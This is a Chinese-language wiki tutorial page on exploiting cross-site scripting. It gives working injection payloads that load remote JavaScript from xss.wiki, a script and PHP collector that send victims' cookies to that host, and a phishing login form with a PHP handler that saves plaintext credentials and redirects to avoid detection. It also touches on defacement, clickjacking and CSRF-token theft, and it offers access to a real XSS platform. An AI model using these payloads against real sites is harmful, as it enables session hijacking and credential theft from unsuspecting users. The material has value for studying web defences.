用户工具

站点工具


start:utilization

盗取cookie

常常会有人误解,xss只能盗取cookie,如果把网站的cookie中的登录session字段设置成http only,就不会被人利用xss盗取到完整的cookie了。

如果这么想就真的图样图森破,就像sql注入我把数据加密了就不怕你注入了。大家知道,sql注入还可以读文件,写文件,命令执行,再不济,我还可以删库跑路。

我们先还是说说盗取cookie吧

现在有很多xss平台都提供盗取cookie的服务,下面是几个标签写js的方法,与弹窗还略有不同:

<script src="http://xss.wiki/xss.js"></script>

<img src=x onerror="with(document)body.appendChild(createElement('script')).src='http://xss.wiki/xss.js'">

<a href="javascript:s=document.createElement('script');s.src='http://xss.wiki/xss.js';document.body.appendChild(s)">click</a>

原理都一样,就是在能弹窗的地方,载入我们外域的js代码

为了模拟xss平台,我全套都写好了

http://xss.wiki/xss.js

var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://xss.wiki/cookie.php?cookie='+document.cookie;

http://xss.wiki/cookie.php

<?php  
$cookie = $_GET['cookie'];  
file_put_contents('cookie.txt', $cookie);
?>

然后cookie就存储在http://xss.wiki/cookie.txt里面

当然这只是简化版的xss平台,并没有进行什么权限控制,所有人都能看到cookie.txt

如果想真正使用,我也为大家准备了真实的xss平台,需要邀请码请微博私我

xss平台

我的微博

黑页

js创建一个页面也是分分钟的事,这个不用多说,我们来创建一个“黑页”好了,就拿前面反射型xss作为例子

演示

钓鱼

既然能创建任意页面,为何不来个钓鱼页面呢?欺骗用户输入明文的用户名密码,也就不用管网站的cookie是否是http only的了,岂不快哉?

演示

http://xss.wiki/login.html

<html>
    <head>
        <title>Login</title>
    </head>
    <body>
        <form action="http://xss.wiki/login.php" method="post">
            <div>Username:<br><input type="text" name="username"></div>
            <div>Password:<br><input type="password" name="password"></div>
            <input type="submit" value="Login">
        </form>
    </body>
</html>

这个登录页面可以根据场景设计不同的登录来迷惑用户,最好跟xss所在的网站的登录相同,让用户点击后误认为要重新登录。我这里只是简单的演示。

再看一下我这里http://xss.wiki/login.php做了什么

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$login =  "username:".$username."\npassword:".$password;
file_put_contents('login.txt', $login);
$url = "http://xss.wiki/login.txt";
header( "Location: $url" );
?>

将用户写的明文用户名密码保存到login.txt,然后进行一个跳转。当然真实环境当然是跳转到当前网站正常的页面了,防止被发现

点击劫持

原理都是一样的,还是创建页面,创建一个透明并且覆盖整个浏览器的页面,直接看演示

演示

结合csrf

这里其实是为了过csrf token这样的防御,xss是可以读取到csrf token的,可以很方便构造csrf进行攻击。我们这里主要说明xss,这里顺便说一下,就不举例了

start/utilization.txt · 最后更改: 2017/06/09 01:17 由 xss